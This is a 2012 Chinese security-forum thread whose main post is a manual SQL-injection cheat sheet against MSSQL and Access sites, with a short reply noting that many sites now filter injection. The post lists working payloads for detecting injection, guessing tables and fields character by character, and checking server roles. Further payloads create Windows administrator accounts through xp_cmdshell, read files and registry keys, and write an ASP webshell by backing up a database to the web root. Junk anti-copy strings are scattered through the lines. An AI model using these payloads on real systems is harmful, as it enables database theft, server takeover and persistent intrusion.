找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2447|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 ' l1 ^+ L: l4 e* h" k* `
1.判断是否有注入;and 1=1 ;and 1=2
" x- ^( y+ X# m, n" d7 E3 ~/ O; G/ Q
2.初步判断是否是mssql ;and user>0
" F/ d; o+ \7 u% J% j& j9 U0 U. \: b- O
3.注入参数是字符'and [查询条件] and ''=' 7 {3 _. D  y& b
$ F; P1 A. V: c2 ]1 G
4.搜索时没过滤参数的'and [查询条件] and '%25'='
% I; w* w; D: n- e  ?% P; b: K1 G4 s$ F
5.判断数据库系统 8 w9 W1 {: W( B9 n& P; q. y$ ~0 D. O+ A
;and (select count(*) from sysobjects)>0 mssql 4 `) I/ @4 P  d! I) [7 C
;and (select count(*) from msysobjects)>0 access
$ I/ @- V- |, v. Q) ^$ m
3 n$ Q2 t9 P+ [7 p: g6.猜数据库 ;and (select Count(*) from [数据库名])>0 / |2 z& w7 S+ w  ^, u

! J  ]% A  H6 {& f5 k7.猜字段 ;and (select Count(字段名) from 数据库名)>0 9 P0 J1 d, N# M  b9 V

0 ^1 u5 R/ {. K) l$ h4 y8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 ]' B( B$ U  Q+ T9 k: L8 R$ Y" W$ s
9.(1)猜字段的ascii值(access)
6 r. L3 l6 s2 A. ~) ?;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
& Q& l1 f" M- C! [, f; }
% l/ H$ l2 m% N+ @, w7 Y: F9 y(2)猜字段的ascii值(mssql)   _6 ]) D+ k- L, W# U$ J. {. F
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
+ j& E$ O& D& }5 r
- s: ]" `: C" k" |# F# x! I1 w10.测试权限结构(mssql) + f' j3 f4 p, X' I( ^# x( X
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 v/ J) v! o! f6 o( ~3 T;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--   P: r, Z; S) j5 P1 Z
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' T- h' y- O% L( [;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 r( r: ?; t  E- O;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8 g& I4 P8 s5 o- S4 d4 F8 K2 U) ~
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
2 }( r1 ~: }1 h# Q0 u;and 1=(select IS_MEMBER('db_owner'));--
* B: }, Y* v* O: P1 @; B2 S3 I& h6 \; C! p
11.添加mssql和系统的帐户
" D" {4 X* B2 d1 W, Q;exec master.dbo.sp_addlogin username;--
; c# V7 _5 K1 K2 y. [
, {% D% N+ U/ p) y;exec master.dbo.sp_password null,username,password;-- " H/ L9 y8 A# b9 p

9 q1 B" v$ e& p6 o: c" x9 U;exec master.dbo.sp_addsrvrolemember sysadmin username;-- : d$ B; q) B. G% z9 q: H
4 z# E* C# v$ S- B3 @9 R* _0 c6 Y1 p
;exec master.dbo.xp_cmdshell 'net user username password # {8 ^/ l1 I( S) x. [& |; K
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
, A2 _; v1 ~; K( i" w9 K9 _. E, _. F' N0 ~7 e
;exec master.dbo.xp_cmdshell 'net user username password /add';--
. ?: k  R* M8 S0 o1 A" Q" w$ m
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- , A. V% b% n# x# }' y0 r
4 R" `! ?5 V) A$ o7 H& E
12.(1)遍历目录
( |4 w" y( B- _( y5 o! s; G
) t2 T$ e, b8 Y+ p3 H! E;create table dirs(paths varchar(100), id int) $ l7 g9 f+ a1 `' V: t
;insert dirs exec master.dbo.xp_dirtree 'c:\' . A8 ?7 u- s% }5 w' a- Y
;and (select top 1 paths from dirs)>0
0 w9 Y6 k- Y- O$ r;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
  N& S- e7 N( C4 n+ B* X; X$ q" }! L% }- x% d
(2)遍历目录 6 p! F' F- E' c9 J/ Z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
0 L* b( Q  M) V5 b* K# K- ?6 q;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
! f# M( F) l0 t5 ~;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $ F+ g! w6 s+ }9 v7 u: [2 f- M
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $ |1 V# A6 B/ F/ Y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # c/ M, j8 W- i. l
. ^% ^7 B7 M& T9 s1 S# ?
13.mssql中的存储过程
1 P) h# i* g+ H
* H! j1 p! i/ o' G( z7 Qxp_regenumvalues 注册表根键, 子键
9 q" c5 h) C: {0 e8 r6 v+ V# f;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
% W' c# d6 Z& h6 h. ^( _3 c& E6 i9 H# Y7 t% @8 \9 W1 C$ N
xp_regread 根键,子键,键值名 1 i- f2 o: |+ Q# _$ o. f
;exec xp_regread 8 K( _, U/ t; Y9 ^. V
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8 e4 ]) ~. x- Z, u
3 \) c  F) H$ w1 z& l9 W) N( H* Z& t
xp_regwrite 根键,子键, 值名, 值类型, 值
# U3 D+ F4 V6 {: o值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 7 }" g/ A# W; z' n6 Q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
. L; t1 `% m; J" a' w- Q6 [7 P  ~4 w
xp_regdeletevalue 根键,子键,值名 1 |) v9 P$ R+ q

0 V) z0 M: G1 vexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 * [% m6 O, x* p5 \

* c1 s5 w% m; y3 lxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
) C& a9 Y. U$ L, n  g% D
' c  t; v$ ]! D8 C6 ]14.mssql的backup创建webshell
# h/ N6 P& b2 l3 x1 q' [use model
" N. p. N) j( c$ J& b6 Qcreate table cmd(str image); , |+ ]- ~' E* j; t. O
insert into cmd(str) values (''); 1 i/ w& B$ L7 X: N9 M1 q
backup database model to disk='c:\l.asp';
9 x5 @4 L+ ]4 [8 W" Q5 \! A0 ?
) n. e' o0 d" }2 N; x4 C2 {15.mssql内置函数
; X+ h3 I& @# B/ @;and (select @@version)>0 获得Windows的版本号 1 a+ K0 |- Z+ M& K
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . Q7 D2 R/ I0 ~# i( _7 o. u
;and (select user_name())>0 爆当前系统的连接用户
# ~5 C% P5 W9 q0 c( {5 z;and (select db_name())>0 得到当前连接的数据库 * ?: [- ]% c' U# m( K

5 T; j9 C" y- R16.简洁的webshell * @/ l6 G% x* Z. U
& f  T4 u3 D+ }3 p2 \. X$ R
use model
' v! Q8 F6 V  R. Y+ ?
: b- |9 t; b/ t9 _" V% [create table cmd(str image); & N% e' m5 ?% @- D! r

  h9 T# a( p9 y% A  Pinsert into cmd(str) values (''); 0 }5 ~; }, V: }

/ m0 z0 L9 C8 J. ?) Gbackup database model to disk='g:\wwwtest\l.asp';
, s3 ?+ q% B% B3 V, D, E; M
! E' n4 e! c: {2 K, _6 `# C
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表